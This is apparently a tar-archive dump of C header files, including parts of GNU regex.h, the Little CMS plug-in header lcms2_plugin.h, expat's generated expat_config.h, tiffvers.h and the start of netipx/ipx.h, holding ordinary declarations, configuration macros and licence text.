BUFFER and REGS will use this memory for recording register information. STARTS and ENDS must be allocated with malloc, and must each be at least 'NUM_REGS * sizeof (regoff_t)' bytes long. If NUM_REGS == 0, then subsequent matches should allocate their own register data. Unless this function is called, the first search or match using BUFFER will allocate its own register data, without freeing the old data. */ extern void re_set_registers (struct re_pattern_buffer *__buffer, struct re_registers *__regs, __re_size_t __num_regs, regoff_t *__starts, regoff_t *__ends); #endif /* Use GNU */ #if defined _REGEX_RE_COMP || (defined _LIBC && defined __USE_MISC) # ifndef _CRAY /* 4.2 bsd compatibility. */ extern char *re_comp (const char *); extern int re_exec (const char *); # endif #endif /* For plain 'restrict', use glibc's __restrict if defined. Otherwise, GCC 2.95 and later have "__restrict"; C99 compilers have "restrict", and "configure" may have defined "restrict". Other compilers use __restrict, __restrict__, and _Restrict, and 'configure' might #define 'restrict' to those words, so pick a different name. */ #ifndef _Restrict_ # if defined __restrict || 2 < __GNUC__ + (95 <= __GNUC_MINOR__) # define _Restrict_ __restrict # elif 199901L <= __STDC_VERSION__ || defined restrict # define _Restrict_ restrict # else # define _Restrict_ # endif #endif /* For [restrict], use glibc's __restrict_arr if available. Otherwise, GCC 3.1 (not in C++ mode) and C99 support [restrict]. */ #ifndef _Restrict_arr_ # ifdef __restrict_arr # define _Restrict_arr_ __restrict_arr # elif ((199901L <= __STDC_VERSION__ || 3 < __GNUC__ + (1 <= __GNUC_MINOR__)) \ && !defined __GNUG__) # define _Restrict_arr_ _Restrict_ # else # define _Restrict_arr_ # endif #endif /* POSIX compatibility. */ extern int regcomp (regex_t *_Restrict_ __preg, const char *_Restrict_ __pattern, int __cflags); extern int regexec (const regex_t *_Restrict_ __preg, const char *_Restrict_ __String, size_t __nmatch, regmatch_t __pmatch[_Restrict_arr_], int __eflags); extern size_t regerror (int __errcode, const regex_t *_Restrict_ __preg, char *_Restrict_ __errbuf, size_t __errbuf_size); extern void regfree (regex_t *__preg); #ifdef __cplusplus } #endif /* C++ */ #endif /* regex.h */ lcms2_plugin.h 0000644 00000072300 15246445046 0007327 0 ustar 00 //--------------------------------------------------------------------------------- // // Little Color Management System // Copyright (c) 1998-2017 Marti Maria Saguer // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the "Software"), // to deal in the Software without restriction, including without limitation // the rights to use, copy, modify, merge, publish, distribute, sublicense, // and/or sell copies of the Software, and to permit persons to whom the Software // is furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, // EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO // THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND // NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE // LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION // OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION // WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // //--------------------------------------------------------------------------------- // // This is the plug-in header file. Normal LittleCMS clients should not use it. // It is provided for plug-in writters that may want to access the support // functions to do low level operations. All plug-in related structures // are defined here. Including this file forces to include the standard API too. #ifndef _lcms_plugin_H // Deal with Microsoft's attempt at deprecating C standard runtime functions #ifdef _MSC_VER # if (_MSC_VER >= 1400) # ifndef _CRT_SECURE_NO_DEPRECATE # define _CRT_SECURE_NO_DEPRECATE # endif # ifndef _CRT_SECURE_NO_WARNINGS # define _CRT_SECURE_NO_WARNINGS # endif # endif #endif #ifndef _lcms2_H #include "lcms2.h" #endif // We need some standard C functions. #include <stdlib.h> #include <math.h> #include <stdarg.h> #include <memory.h> #include <string.h> #ifndef CMS_USE_CPP_API # ifdef __cplusplus extern "C" { # endif #endif // Vector & Matrix operations ----------------------------------------------------------------------- // Axis of the matrix/array. No specific meaning at all. #define VX 0 #define VY 1 #define VZ 2 // Vectors typedef struct { cmsFloat64Number n[3]; } cmsVEC3; // 3x3 Matrix typedef struct { cmsVEC3 v[3]; } cmsMAT3; CMSAPI void CMSEXPORT _cmsVEC3init(cmsVEC3* r, cmsFloat64Number x, cmsFloat64Number y, cmsFloat64Number z); CMSAPI void CMSEXPORT _cmsVEC3minus(cmsVEC3* r, const cmsVEC3* a, const cmsVEC3* b); CMSAPI void CMSEXPORT _cmsVEC3cross(cmsVEC3* r, const cmsVEC3* u, const cmsVEC3* v); CMSAPI cmsFloat64Number CMSEXPORT _cmsVEC3dot(const cmsVEC3* u, const cmsVEC3* v); CMSAPI cmsFloat64Number CMSEXPORT _cmsVEC3length(const cmsVEC3* a); CMSAPI cmsFloat64Number CMSEXPORT _cmsVEC3distance(const cmsVEC3* a, const cmsVEC3* b); CMSAPI void CMSEXPORT _cmsMAT3identity(cmsMAT3* a); CMSAPI cmsBool CMSEXPORT _cmsMAT3isIdentity(const cmsMAT3* a); CMSAPI void CMSEXPORT _cmsMAT3per(cmsMAT3* r, const cmsMAT3* a, const cmsMAT3* b); CMSAPI cmsBool CMSEXPORT _cmsMAT3inverse(const cmsMAT3* a, cmsMAT3* b); CMSAPI cmsBool CMSEXPORT _cmsMAT3solve(cmsVEC3* x, cmsMAT3* a, cmsVEC3* b); CMSAPI void CMSEXPORT _cmsMAT3eval(cmsVEC3* r, const cmsMAT3* a, const cmsVEC3* v); // Error logging ------------------------------------------------------------------------------------- CMSAPI void CMSEXPORT cmsSignalError(cmsContext ContextID, cmsUInt32Number ErrorCode, const char *ErrorText, ...); // Memory management ---------------------------------------------------------------------------------- CMSAPI void* CMSEXPORT _cmsMalloc(cmsContext ContextID, cmsUInt32Number size); CMSAPI void* CMSEXPORT _cmsMallocZero(cmsContext ContextID, cmsUInt32Number size); CMSAPI void* CMSEXPORT _cmsCalloc(cmsContext ContextID, cmsUInt32Number num, cmsUInt32Number size); CMSAPI void* CMSEXPORT _cmsRealloc(cmsContext ContextID, void* Ptr, cmsUInt32Number NewSize); CMSAPI void CMSEXPORT _cmsFree(cmsContext ContextID, void* Ptr); CMSAPI void* CMSEXPORT _cmsDupMem(cmsContext ContextID, const void* Org, cmsUInt32Number size); // I/O handler ---------------------------------------------------------------------------------- struct _cms_io_handler { void* stream; // Associated stream, which is implemented differently depending on media. cmsContext ContextID; cmsUInt32Number UsedSpace; cmsUInt32Number ReportedSize; char PhysicalFile[cmsMAX_PATH]; cmsUInt32Number (* Read)(struct _cms_io_handler* iohandler, void *Buffer, cmsUInt32Number size, cmsUInt32Number count); cmsBool (* Seek)(struct _cms_io_handler* iohandler, cmsUInt32Number offset); cmsBool (* Close)(struct _cms_io_handler* iohandler); cmsUInt32Number (* Tell)(struct _cms_io_handler* iohandler); cmsBool (* Write)(struct _cms_io_handler* iohandler, cmsUInt32Number size, const void* Buffer); }; // Endianness adjust functions CMSAPI cmsUInt16Number CMSEXPORT _cmsAdjustEndianess16(cmsUInt16Number Word); CMSAPI cmsUInt32Number CMSEXPORT _cmsAdjustEndianess32(cmsUInt32Number Value); CMSAPI void CMSEXPORT _cmsAdjustEndianess64(cmsUInt64Number* Result, cmsUInt64Number* QWord); // Helper IO functions CMSAPI cmsBool CMSEXPORT _cmsReadUInt8Number(cmsIOHANDLER* io, cmsUInt8Number* n); CMSAPI cmsBool CMSEXPORT _cmsReadUInt16Number(cmsIOHANDLER* io, cmsUInt16Number* n); CMSAPI cmsBool CMSEXPORT _cmsReadUInt32Number(cmsIOHANDLER* io, cmsUInt32Number* n); CMSAPI cmsBool CMSEXPORT _cmsReadFloat32Number(cmsIOHANDLER* io, cmsFloat32Number* n); CMSAPI cmsBool CMSEXPORT _cmsReadUInt64Number(cmsIOHANDLER* io, cmsUInt64Number* n); CMSAPI cmsBool CMSEXPORT _cmsRead15Fixed16Number(cmsIOHANDLER* io, cmsFloat64Number* n); CMSAPI cmsBool CMSEXPORT _cmsReadXYZNumber(cmsIOHANDLER* io, cmsCIEXYZ* XYZ); CMSAPI cmsBool CMSEXPORT _cmsReadUInt16Array(cmsIOHANDLER* io, cmsUInt32Number n, cmsUInt16Number* Array); CMSAPI cmsBool CMSEXPORT _cmsWriteUInt8Number(cmsIOHANDLER* io, cmsUInt8Number n); CMSAPI cmsBool CMSEXPORT _cmsWriteUInt16Number(cmsIOHANDLER* io, cmsUInt16Number n); CMSAPI cmsBool CMSEXPORT _cmsWriteUInt32Number(cmsIOHANDLER* io, cmsUInt32Number n); CMSAPI cmsBool CMSEXPORT _cmsWriteFloat32Number(cmsIOHANDLER* io, cmsFloat32Number n); CMSAPI cmsBool CMSEXPORT _cmsWriteUInt64Number(cmsIOHANDLER* io, cmsUInt64Number* n); CMSAPI cmsBool CMSEXPORT _cmsWrite15Fixed16Number(cmsIOHANDLER* io, cmsFloat64Number n); CMSAPI cmsBool CMSEXPORT _cmsWriteXYZNumber(cmsIOHANDLER* io, const cmsCIEXYZ* XYZ); CMSAPI cmsBool CMSEXPORT _cmsWriteUInt16Array(cmsIOHANDLER* io, cmsUInt32Number n, const cmsUInt16Number* Array); // ICC base tag typedef struct { cmsTagTypeSignature sig; cmsInt8Number reserved[4]; } _cmsTagBase; // Type base helper functions CMSAPI cmsTagTypeSignature CMSEXPORT _cmsReadTypeBase(cmsIOHANDLER* io); CMSAPI cmsBool CMSEXPORT _cmsWriteTypeBase(cmsIOHANDLER* io, cmsTagTypeSignature sig); // Alignment functions CMSAPI cmsBool CMSEXPORT _cmsReadAlignment(cmsIOHANDLER* io); CMSAPI cmsBool CMSEXPORT _cmsWriteAlignment(cmsIOHANDLER* io); // To deal with text streams. 2K at most CMSAPI cmsBool CMSEXPORT _cmsIOPrintf(cmsIOHANDLER* io, const char* frm, ...); // Fixed point helper functions CMSAPI cmsFloat64Number CMSEXPORT _cms8Fixed8toDouble(cmsUInt16Number fixed8); CMSAPI cmsUInt16Number CMSEXPORT _cmsDoubleTo8Fixed8(cmsFloat64Number val); CMSAPI cmsFloat64Number CMSEXPORT _cms15Fixed16toDouble(cmsS15Fixed16Number fix32); CMSAPI cmsS15Fixed16Number CMSEXPORT _cmsDoubleTo15Fixed16(cmsFloat64Number v); // Date/time helper functions CMSAPI void CMSEXPORT _cmsEncodeDateTimeNumber(cmsDateTimeNumber *Dest, const struct tm *Source); CMSAPI void CMSEXPORT _cmsDecodeDateTimeNumber(const cmsDateTimeNumber *Source, struct tm *Dest); //---------------------------------------------------------------------------------------------------------- // Shared callbacks for user data typedef void (* _cmsFreeUserDataFn)(cmsContext ContextID, void* Data); typedef void* (* _cmsDupUserDataFn)(cmsContext ContextID, const void* Data); //---------------------------------------------------------------------------------------------------------- // Plug-in foundation #define cmsPluginMagicNumber 0x61637070 // 'acpp' #define cmsPluginMemHandlerSig 0x6D656D48 // 'memH' #define cmsPluginInterpolationSig 0x696E7048 // 'inpH' #define cmsPluginParametricCurveSig 0x70617248 // 'parH' #define cmsPluginFormattersSig 0x66726D48 // 'frmH #define cmsPluginTagTypeSig 0x74797048 // 'typH' #define cmsPluginTagSig 0x74616748 // 'tagH' #define cmsPluginRenderingIntentSig 0x696E7448 // 'intH' #define cmsPluginMultiProcessElementSig 0x6D706548 // 'mpeH' #define cmsPluginOptimizationSig 0x6F707448 // 'optH' #define cmsPluginTransformSig 0x7A666D48 // 'xfmH' #define cmsPluginMutexSig 0x6D747A48 // 'mtxH' typedef struct _cmsPluginBaseStruct { cmsUInt32Number Magic; // 'acpp' signature cmsUInt32Number ExpectedVersion; // Expected version of LittleCMS cmsUInt32Number Type; // Type of plug-in struct _cmsPluginBaseStruct* Next; // For multiple plugin definition. NULL for end of list. } cmsPluginBase; // Maximum number of types in a plugin array #define MAX_TYPES_IN_LCMS_PLUGIN 20 //---------------------------------------------------------------------------------------------------------- // Memory handler. Each new plug-in type replaces current behaviour typedef void* (* _cmsMallocFnPtrType)(cmsContext ContextID, cmsUInt32Number size); typedef void (* _cmsFreeFnPtrType)(cmsContext ContextID, void *Ptr); typedef void* (* _cmsReallocFnPtrType)(cmsContext ContextID, void* Ptr, cmsUInt32Number NewSize); typedef void* (* _cmsMalloZerocFnPtrType)(cmsContext ContextID, cmsUInt32Number size); typedef void* (* _cmsCallocFnPtrType)(cmsContext ContextID, cmsUInt32Number num, cmsUInt32Number size); typedef void* (* _cmsDupFnPtrType)(cmsContext ContextID, const void* Org, cmsUInt32Number size); typedef struct { cmsPluginBase base; // Required _cmsMallocFnPtrType MallocPtr; _cmsFreeFnPtrType FreePtr; _cmsReallocFnPtrType ReallocPtr; // Optional _cmsMalloZerocFnPtrType MallocZeroPtr; _cmsCallocFnPtrType CallocPtr; _cmsDupFnPtrType DupPtr; } cmsPluginMemHandler; // ------------------------------------------------------------------------------------------------------------------ // Interpolation. 16 bits and floating point versions. struct _cms_interp_struc; // Interpolation callbacks // 16 bits forward interpolation. This function performs precision-limited linear interpolation // and is supposed to be quite fast. Implementation may be tetrahedral or trilinear, and plug-ins may // choose to implement any other interpolation algorithm. typedef void (* _cmsInterpFn16)(register const cmsUInt16Number Input[], register cmsUInt16Number Output[], register const struct _cms_interp_struc* p); // Floating point forward interpolation. Full precision interpolation using floats. This is not a // time critical function. Implementation may be tetrahedral or trilinear, and plug-ins may // choose to implement any other interpolation algorithm. typedef void (* _cmsInterpFnFloat)(cmsFloat32Number const Input[], cmsFloat32Number Output[], const struct _cms_interp_struc* p); // This type holds a pointer to an interpolator that can be either 16 bits or float typedef union { _cmsInterpFn16 Lerp16; // Forward interpolation in 16 bits _cmsInterpFnFloat LerpFloat; // Forward interpolation in floating point } cmsInterpFunction; // Flags for interpolator selection #define CMS_LERP_FLAGS_16BITS 0x0000 // The default #define CMS_LERP_FLAGS_FLOAT 0x0001 // Requires different implementation #define CMS_LERP_FLAGS_TRILINEAR 0x0100 // Hint only #define MAX_INPUT_DIMENSIONS 8 typedef struct _cms_interp_struc { // Used on all interpolations. Supplied by lcms2 when calling the interpolation function cmsContext ContextID; // The calling thread cmsUInt32Number dwFlags; // Keep original flags cmsUInt32Number nInputs; // != 1 only in 3D interpolation cmsUInt32Number nOutputs; // != 1 only in 3D interpolation cmsUInt32Number nSamples[MAX_INPUT_DIMENSIONS]; // Valid on all kinds of tables cmsUInt32Number Domain[MAX_INPUT_DIMENSIONS]; // Domain = nSamples - 1 cmsUInt32Number opta[MAX_INPUT_DIMENSIONS]; // Optimization for 3D CLUT. This is the number of nodes premultiplied for each // dimension. For example, in 7 nodes, 7, 7^2 , 7^3, 7^4, etc. On non-regular // Samplings may vary according of the number of nodes for each dimension. const void *Table; // Points to the actual interpolation table cmsInterpFunction Interpolation; // Points to the function to do the interpolation } cmsInterpParams; // Interpolators factory typedef cmsInterpFunction (* cmsInterpFnFactory)(cmsUInt32Number nInputChannels, cmsUInt32Number nOutputChannels, cmsUInt32Number dwFlags); // The plug-in typedef struct { cmsPluginBase base; // Points to a user-supplied function which implements the factory cmsInterpFnFactory InterpolatorsFactory; } cmsPluginInterpolation; //---------------------------------------------------------------------------------------------------------- // Parametric curves. A negative type means same function but analytically inverted. Max. number of params is 10 // Evaluator callback for user-supplied parametric curves. May implement more than one type typedef cmsFloat64Number (* cmsParametricCurveEvaluator)(cmsInt32Number Type, const cmsFloat64Number Params[10], cmsFloat64Number R); // Plug-in may implement an arbitrary number of parametric curves typedef struct { cmsPluginBase base; cmsUInt32Number nFunctions; // Number of supported functions cmsUInt32Number FunctionTypes[MAX_TYPES_IN_LCMS_PLUGIN]; // The identification types cmsUInt32Number ParameterCount[MAX_TYPES_IN_LCMS_PLUGIN]; // Number of parameters for each function cmsParametricCurveEvaluator Evaluator; // The evaluator } cmsPluginParametricCurves; //---------------------------------------------------------------------------------------------------------- // Formatters. This plug-in adds new handlers, replacing them if they already exist. Formatters dealing with // cmsFloat32Number (bps = 4) or double (bps = 0) types are requested via FormatterFloat callback. Others come across // Formatter16 callback struct _cmstransform_struct; typedef cmsUInt8Number* (* cmsFormatter16)(register struct _cmstransform_struct* CMMcargo, register cmsUInt16Number Values[], register cmsUInt8Number* Buffer, register cmsUInt32Number Stride); typedef cmsUInt8Number* (* cmsFormatterFloat)(struct _cmstransform_struct* CMMcargo, cmsFloat32Number Values[], cmsUInt8Number* Buffer, cmsUInt32Number Stride); // This type holds a pointer to a formatter that can be either 16 bits or cmsFloat32Number typedef union { cmsFormatter16 Fmt16; cmsFormatterFloat FmtFloat; } cmsFormatter; #define CMS_PACK_FLAGS_16BITS 0x0000 #define CMS_PACK_FLAGS_FLOAT 0x0001 typedef enum { cmsFormatterInput=0, cmsFormatterOutput=1 } cmsFormatterDirection; typedef cmsFormatter (* cmsFormatterFactory)(cmsUInt32Number Type, // Specific type, i.e. TYPE_RGB_8 cmsFormatterDirection Dir, cmsUInt32Number dwFlags); // precision // Plug-in may implement an arbitrary number of formatters typedef struct { cmsPluginBase base; cmsFormatterFactory FormattersFactory; } cmsPluginFormatters; //---------------------------------------------------------------------------------------------------------- // Tag type handler. Each type is free to return anything it wants, and it is up to the caller to // know in advance what is the type contained in the tag. typedef struct _cms_typehandler_struct { cmsTagTypeSignature Signature; // The signature of the type // Allocates and reads items void * (* ReadPtr)(struct _cms_typehandler_struct* self, cmsIOHANDLER* io, cmsUInt32Number* nItems, cmsUInt32Number SizeOfTag); // Writes n Items cmsBool (* WritePtr)(struct _cms_typehandler_struct* self, cmsIOHANDLER* io, void* Ptr, cmsUInt32Number nItems); // Duplicate an item or array of items void* (* DupPtr)(struct _cms_typehandler_struct* self, const void *Ptr, cmsUInt32Number n); // Free all resources void (* FreePtr)(struct _cms_typehandler_struct* self, void *Ptr); // Additional parameters used by the calling thread cmsContext ContextID; cmsUInt32Number ICCVersion; } cmsTagTypeHandler; // Each plug-in implements a single type typedef struct { cmsPluginBase base; cmsTagTypeHandler Handler; } cmsPluginTagType; //---------------------------------------------------------------------------------------------------------- // This is the tag plugin, which identifies tags. For writing, a pointer to function is provided. // This function should return the desired type for this tag, given the version of profile // and the data being serialized. typedef struct { cmsUInt32Number ElemCount; // If this tag needs an array, how many elements should keep // For reading. cmsUInt32Number nSupportedTypes; // In how many types this tag can come (MAX_TYPES_IN_LCMS_PLUGIN maximum) cmsTagTypeSignature SupportedTypes[MAX_TYPES_IN_LCMS_PLUGIN]; // For writing cmsTagTypeSignature (* DecideType)(cmsFloat64Number ICCVersion, const void *Data); } cmsTagDescriptor; // Plug-in implements a single tag typedef struct { cmsPluginBase base; cmsTagSignature Signature; cmsTagDescriptor Descriptor; } cmsPluginTag; //---------------------------------------------------------------------------------------------------------- // Custom intents. This function should join all profiles specified in the array in // a single LUT. Any custom intent in the chain redirects to custom function. If more than // one custom intent is found, the one located first is invoked. Usually users should use only one // custom intent, so mixing custom intents in same multiprofile transform is not supported. typedef cmsPipeline* (* cmsIntentFn)( cmsContext ContextID, cmsUInt32Number nProfiles, cmsUInt32Number Intents[], cmsHPROFILE hProfiles[], cmsBool BPC[], cmsFloat64Number AdaptationStates[], cmsUInt32Number dwFlags); // Each plug-in defines a single intent number. typedef struct { cmsPluginBase base; cmsUInt32Number Intent; cmsIntentFn Link; char Description[256]; } cmsPluginRenderingIntent; // The default ICC intents (perceptual, saturation, rel.col and abs.col) CMSAPI cmsPipeline* CMSEXPORT _cmsDefaultICCintents(cmsContext ContextID, cmsUInt32Number nProfiles, cmsUInt32Number Intents[], cmsHPROFILE hProfiles[], cmsBool BPC[], cmsFloat64Number AdaptationStates[], cmsUInt32Number dwFlags); //---------------------------------------------------------------------------------------------------------- // Pipelines, Multi Process Elements. typedef void (* _cmsStageEvalFn) (const cmsFloat32Number In[], cmsFloat32Number Out[], const cmsStage* mpe); typedef void*(* _cmsStageDupElemFn) (cmsStage* mpe); typedef void (* _cmsStageFreeElemFn) (cmsStage* mpe); // This function allocates a generic MPE CMSAPI cmsStage* CMSEXPORT _cmsStageAllocPlaceholder(cmsContext ContextID, cmsStageSignature Type, cmsUInt32Number InputChannels, cmsUInt32Number OutputChannels, _cmsStageEvalFn EvalPtr, // Points to fn that evaluates the element (always in floating point) _cmsStageDupElemFn DupElemPtr, // Points to a fn that duplicates the stage _cmsStageFreeElemFn FreePtr, // Points to a fn that sets the element free void* Data); // A generic pointer to whatever memory needed by the element typedef struct { cmsPluginBase base; cmsTagTypeHandler Handler; } cmsPluginMultiProcessElement; // Data kept in "Element" member of cmsStage // Curves typedef struct { cmsUInt32Number nCurves; cmsToneCurve** TheCurves; } _cmsStageToneCurvesData; // Matrix typedef struct { cmsFloat64Number* Double; // floating point for the matrix cmsFloat64Number* Offset; // The offset } _cmsStageMatrixData; // CLUT typedef struct { union { // Can have only one of both representations at same time cmsUInt16Number* T; // Points to the table 16 bits table cmsFloat32Number* TFloat; // Points to the cmsFloat32Number table } Tab; cmsInterpParams* Params; cmsUInt32Number nEntries; cmsBool HasFloatValues; } _cmsStageCLutData; //---------------------------------------------------------------------------------------------------------- // Optimization. Using this plug-in, additional optimization strategies may be implemented. // The function should return TRUE if any optimization is done on the LUT, this terminates // the optimization search. Or FALSE if it is unable to optimize and want to give a chance // to the rest of optimizers. typedef void (* _cmsOPTeval16Fn)(register const cmsUInt16Number In[], register cmsUInt16Number Out[], register const void* Data); typedef cmsBool (* _cmsOPToptimizeFn)(cmsPipeline** Lut, cmsUInt32Number Intent, cmsUInt32Number* InputFormat, cmsUInt32Number* OutputFormat, cmsUInt32Number* dwFlags); // This function may be used to set the optional evaluator and a block of private data. If private data is being used, an optional // duplicator and free functions should also be specified in order to duplicate the LUT construct. Use NULL to inhibit such functionality. CMSAPI void CMSEXPORT _cmsPipelineSetOptimizationParameters(cmsPipeline* Lut, _cmsOPTeval16Fn Eval16, void* PrivateData, _cmsFreeUserDataFn FreePrivateDataFn, _cmsDupUserDataFn DupPrivateDataFn); typedef struct { cmsPluginBase base; // Optimize entry point _cmsOPToptimizeFn OptimizePtr; } cmsPluginOptimization; //---------------------------------------------------------------------------------------------------------- // Full xform typedef struct { cmsUInt32Number BytesPerLineIn; cmsUInt32Number BytesPerLineOut; cmsUInt32Number BytesPerPlaneIn; cmsUInt32Number BytesPerPlaneOut; } cmsStride; typedef void (* _cmsTransformFn)(struct _cmstransform_struct *CMMcargo, // Legacy function, handles just ONE scanline. const void* InputBuffer, void* OutputBuffer, cmsUInt32Number Size, cmsUInt32Number Stride); // Stride in bytes to the next plana in planar formats typedef void (*_cmsTransform2Fn)(struct _cmstransform_struct *CMMcargo, const void* InputBuffer, void* OutputBuffer, cmsUInt32Number PixelsPerLine, cmsUInt32Number LineCount, const cmsStride* Stride); typedef cmsBool (* _cmsTransformFactory)(_cmsTransformFn* xform, void** UserData, _cmsFreeUserDataFn* FreePrivateDataFn, cmsPipeline** Lut, cmsUInt32Number* InputFormat, cmsUInt32Number* OutputFormat, cmsUInt32Number* dwFlags); typedef cmsBool (* _cmsTransform2Factory)(_cmsTransform2Fn* xform, void** UserData, _cmsFreeUserDataFn* FreePrivateDataFn, cmsPipeline** Lut, cmsUInt32Number* InputFormat, cmsUInt32Number* OutputFormat, cmsUInt32Number* dwFlags); // Retrieve user data as specified by the factory CMSAPI void CMSEXPORT _cmsSetTransformUserData(struct _cmstransform_struct *CMMcargo, void* ptr, _cmsFreeUserDataFn FreePrivateDataFn); CMSAPI void * CMSEXPORT _cmsGetTransformUserData(struct _cmstransform_struct *CMMcargo); // Retrieve formatters CMSAPI void CMSEXPORT _cmsGetTransformFormatters16 (struct _cmstransform_struct *CMMcargo, cmsFormatter16* FromInput, cmsFormatter16* ToOutput); CMSAPI void CMSEXPORT _cmsGetTransformFormattersFloat(struct _cmstransform_struct *CMMcargo, cmsFormatterFloat* FromInput, cmsFormatterFloat* ToOutput); typedef struct { cmsPluginBase base; // Transform entry point union { _cmsTransformFactory legacy_xform; _cmsTransform2Factory xform; } factories; } cmsPluginTransform; //---------------------------------------------------------------------------------------------------------- // Mutex typedef void* (* _cmsCreateMutexFnPtrType)(cmsContext ContextID); typedef void (* _cmsDestroyMutexFnPtrType)(cmsContext ContextID, void* mtx); typedef cmsBool (* _cmsLockMutexFnPtrType)(cmsContext ContextID, void* mtx); typedef void (* _cmsUnlockMutexFnPtrType)(cmsContext ContextID, void* mtx); typedef struct { cmsPluginBase base; _cmsCreateMutexFnPtrType CreateMutexPtr; _cmsDestroyMutexFnPtrType DestroyMutexPtr; _cmsLockMutexFnPtrType LockMutexPtr; _cmsUnlockMutexFnPtrType UnlockMutexPtr; } cmsPluginMutex; CMSAPI void* CMSEXPORT _cmsCreateMutex(cmsContext ContextID); CMSAPI void CMSEXPORT _cmsDestroyMutex(cmsContext ContextID, void* mtx); CMSAPI cmsBool CMSEXPORT _cmsLockMutex(cmsContext ContextID, void* mtx); CMSAPI void CMSEXPORT _cmsUnlockMutex(cmsContext ContextID, void* mtx); #ifndef CMS_USE_CPP_API # ifdef __cplusplus } # endif #endif #define _lcms_plugin_H #endif expat_config.h 0000644 00000007506 15246445046 0007405 0 ustar 00 /* expat_config.h. Generated from expat_config.h.in by configure. */ /* expat_config.h.in. Generated from configure.ac by autoheader. */ #ifndef EXPAT_CONFIG_H #define EXPAT_CONFIG_H 1 /* Define if building universal (internal helper macro) */ /* #undef AC_APPLE_UNIVERSAL_BUILD */ /* 1234 = LILENDIAN, 4321 = BIGENDIAN */ #define BYTEORDER 1234 /* Define to 1 if you have the `arc4random' function. */ /* #undef HAVE_ARC4RANDOM */ /* Define to 1 if you have the `arc4random_buf' function. */ /* #undef HAVE_ARC4RANDOM_BUF */ /* Define to 1 if you have the <dlfcn.h> header file. */ #define HAVE_DLFCN_H 1 /* Define to 1 if you have the <fcntl.h> header file. */ #define HAVE_FCNTL_H 1 /* Define to 1 if you have the `getpagesize' function. */ #define HAVE_GETPAGESIZE 1 /* Define to 1 if you have the `getrandom' function. */ #define HAVE_GETRANDOM 1 /* Define to 1 if you have the <inttypes.h> header file. */ #define HAVE_INTTYPES_H 1 /* Define to 1 if you have the `bsd' library (-lbsd). */ /* #undef HAVE_LIBBSD */ /* Define to 1 if you have the <memory.h> header file. */ #define HAVE_MEMORY_H 1 /* Define to 1 if you have a working `mmap' system call. */ #define HAVE_MMAP 1 /* Define to 1 if you have the <stdint.h> header file. */ #define HAVE_STDINT_H 1 /* Define to 1 if you have the <stdlib.h> header file. */ #define HAVE_STDLIB_H 1 /* Define to 1 if you have the <strings.h> header file. */ #define HAVE_STRINGS_H 1 /* Define to 1 if you have the <string.h> header file. */ #define HAVE_STRING_H 1 /* Define to 1 if you have `syscall' and `SYS_getrandom'. */ #define HAVE_SYSCALL_GETRANDOM 1 /* Define to 1 if you have the <sys/param.h> header file. */ #define HAVE_SYS_PARAM_H 1 /* Define to 1 if you have the <sys/stat.h> header file. */ #define HAVE_SYS_STAT_H 1 /* Define to 1 if you have the <sys/types.h> header file. */ #define HAVE_SYS_TYPES_H 1 /* Define to 1 if you have the <unistd.h> header file. */ #define HAVE_UNISTD_H 1 /* Define to the sub-directory where libtool stores uninstalled libraries. */ #define LT_OBJDIR ".libs/" /* Name of package */ #define PACKAGE "expat" /* Define to the address where bug reports for this package should be sent. */ #define PACKAGE_BUGREPORT "expat-bugs@libexpat.org" /* Define to the full name of this package. */ #define PACKAGE_NAME "expat" /* Define to the full name and version of this package. */ #define PACKAGE_STRING "expat 2.5.0" /* Define to the one symbol short name of this package. */ #define PACKAGE_TARNAME "expat" /* Define to the home page for this package. */ #define PACKAGE_URL "" /* Define to the version of this package. */ #define PACKAGE_VERSION "2.5.0" /* Define to 1 if you have the ANSI C header files. */ #define STDC_HEADERS 1 /* Version number of package */ #define VERSION "2.5.0" /* Define WORDS_BIGENDIAN to 1 if your processor stores words with the most significant byte first (like Motorola and SPARC, unlike Intel). */ #if defined AC_APPLE_UNIVERSAL_BUILD # if defined __BIG_ENDIAN__ # define WORDS_BIGENDIAN 1 # endif #else # ifndef WORDS_BIGENDIAN /* # undef WORDS_BIGENDIAN */ # endif #endif /* Define to allow retrieving the byte offsets for attribute names and values. */ /* #undef XML_ATTR_INFO */ /* Define to specify how much context to retain around the current parse point. */ #define XML_CONTEXT_BYTES 1024 /* Define to include code reading entropy from `/dev/urandom'. */ #define XML_DEV_URANDOM 1 /* Define to make parameter entity parsing functionality available. */ #define XML_DTD 1 /* Define to make XML Namespaces functionality available. */ #define XML_NS 1 /* Define to empty if `const' does not conform to ANSI C. */ /* #undef const */ /* Define to `long int' if <sys/types.h> does not define. */ /* #undef off_t */ /* Define to `unsigned int' if <sys/types.h> does not define. */ /* #undef size_t */ #endif // ndef EXPAT_CONFIG_H tiffvers.h 0000644 00000000632 15246445046 0006560 0 ustar 00 #define TIFFLIB_VERSION_STR "LIBTIFF, Version 4.0.9\nCopyright (c) 1988-1996 Sam Leffler\nCopyright (c) 1991-1996 Silicon Graphics, Inc." /* * This define can be used in code that requires * compilation-related definitions specific to a * version or versions of the library. Runtime * version checking should be done based on the * string returned by TIFFGetVersion. */ #define TIFFLIB_VERSION 20171118 netipx/ipx.h 0000644 00000005523 15246445046 0007043 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef __NETIPX_IPX_H #define __NETIPX_IPX_H 1 #include <sys/types.h> #include <stdint.h> #include 